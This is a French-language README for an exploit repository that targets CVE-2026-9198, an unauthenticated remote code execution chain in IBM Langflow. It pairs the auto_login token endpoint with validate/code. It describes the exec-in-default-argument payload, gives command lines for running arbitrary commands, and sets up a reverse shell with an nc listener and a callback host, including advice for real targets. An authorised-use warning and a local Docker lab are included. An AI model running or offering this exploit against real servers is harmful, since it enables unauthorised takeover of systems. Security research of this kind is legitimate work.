Preuve de concept d'exploitation pour CVE-2026-9198, une RCE non authentifiée dans IBM Langflow OSS, enchaînant les points de terminaison auto_login et validate/code. Inclut un laboratoire Docker vulnérable pour des tests autorisés et à des fins pédagogiques.
Preuve de concept d'exploitation et laboratoire Docker autonome pour CVE-2026-9198, une vulnérabilité d'exécution de code à distance non authentifiée dans IBM Langflow OSS.
L'exploit enchaîne deux points de terminaison — auto_login (qui délivre un jeton SUPERUSER
à n'importe qui) et validate/code (qui exécute du Python fourni par l'attaquant) — pour obtenir
l'exécution de code en tant qu'utilisateur du service Langflow, sans aucune information d'identification requise.
[!WARNING] Réservé aux tests de sécurité autorisés et à des fins éducatives uniquement. Exécutez-le exclusivement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Le laboratoire Docker de ce dépôt est volontairement vulnérable — conservez-le sur votre machine et ne l'exposez jamais à Internet. Vous êtes responsable de l'utilisation que vous faites de ce code.
| CVE | CVE-2026-9198 |
| Produit | IBM Langflow OSS |
| Versions affectées | 1.0.0 – 1.10.0 |
| Corrigé dans | 1.10.1 |
| CVSS 3.1 | 9.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — Mauvaise maîtrise de la génération de code (« Injection de code ») |
| CISA KEV | Oui — exploitée activement dans la nature |
L'exploit est une chaîne en deux étapes qui ne nécessite aucune authentification :
GET /api/v1/auto_loginLangflow est livré avec LANGFLOW_AUTO_LOGIN activé par défaut. Lorsqu'il l'est, le
point de terminaison auto_login émet un JWT SUPERUSER à longue durée de vie à tout appelant, sans
demander d'informations d'identification :
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeDepuis la version 1.3.0, ce point de terminaison exige une authentification (c'était le correctif pour
CVE-2025-3248) — mais l'étape 1 vient de nous remettre un jeton SUPERUSER valide, donc la barrière est
inutile. En interne, le point de terminaison appelle validate_code(), qui compile et exécute
chaque définition de fonction qu'il reçoit :
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- exécute la def
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- la sortie est renvoyée ici
Exécuter une instruction def évalue les valeurs de ses arguments par défaut. Ainsi, une fonction
dont l'argument par défaut est exec("...") exécute du code arbitraire dès qu'elle est
validée — la fonction n'est même jamais appelée. Toute exception levée est capturée et
renvoyée dans la réponse sous function.errors, ce que l'exploit utilise pour lire
la sortie de la commande via HTTP.
Forme de la charge utile (la commande est encapsulée en base64 pour survivre à tout échappement de guillemets) :
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # le PoC (exécution de commande + shell inversé)
├── docker-compose.yml # laboratoire vulnérable : langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow met une minute ou deux à devenir prêt au premier démarrage. Attendez qu'il réponde :
curl -fs http://127.0.0.1:9999/health && echo OK
Le service est volontairement lié à 127.0.0.1:9999 — il n'est pas accessible depuis votre
réseau.
Installez la dépendance, puis pointez l'exploit vers le laboratoire.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
Exemple de sortie :
[*] cible : http://127.0.0.1:9999
[*] étape 1 : demande du jeton SUPERUSER à /api/v1/auto_login
[+] jeton SUPERUSER obtenu : eyJhbGciOiJIUzI1NiIs...
[*] étape 2 : atteinte de l'exécution de code via /api/v1/validate/code
[*] exécution de la commande via validate/code : 'id'
[+] sortie de la commande (renvoyée via function.errors) :
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
Toute commande fonctionne : --cmd "uname -a && whoami && cat /etc/os-release".
Démarrez un écouteur :
nc -lvnp 4444
Puis déclenchez la charge utile. Lorsque la cible s'exécute dans Docker sur la même machine, le
conteneur atteint votre hôte à host.docker.internal (Docker Desktop) ; sur une cible
réelle, utilisez votre adresse IP routable :
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
Vous obtenez un /bin/sh interactif sur votre écouteur en tant qu'utilisateur langflow.
| Option | Description |
|---|---|
--url | URL de base de la cible (obligatoire) |
--cmd | Commande à exécuter (par défaut id) |
--reverse-shell | Livrer un shell inversé au lieu d'exécuter --cmd |
--lhost / --lport | Hôte et port de rappel du shell inversé |
--token | Utiliser un jeton bearer fourni et ignorer auto_login |
--timeout | Délai d'expiration par requête, en secondes (par défaut 15) |
--insecure | Ignorer la vérification TLS (pour les cibles https) |
LANGFLOW_AUTO_LOGIN=false,
et définissez de véritables informations d'identification de superutilisateur.validate/code sur laquelle cela s'appuie)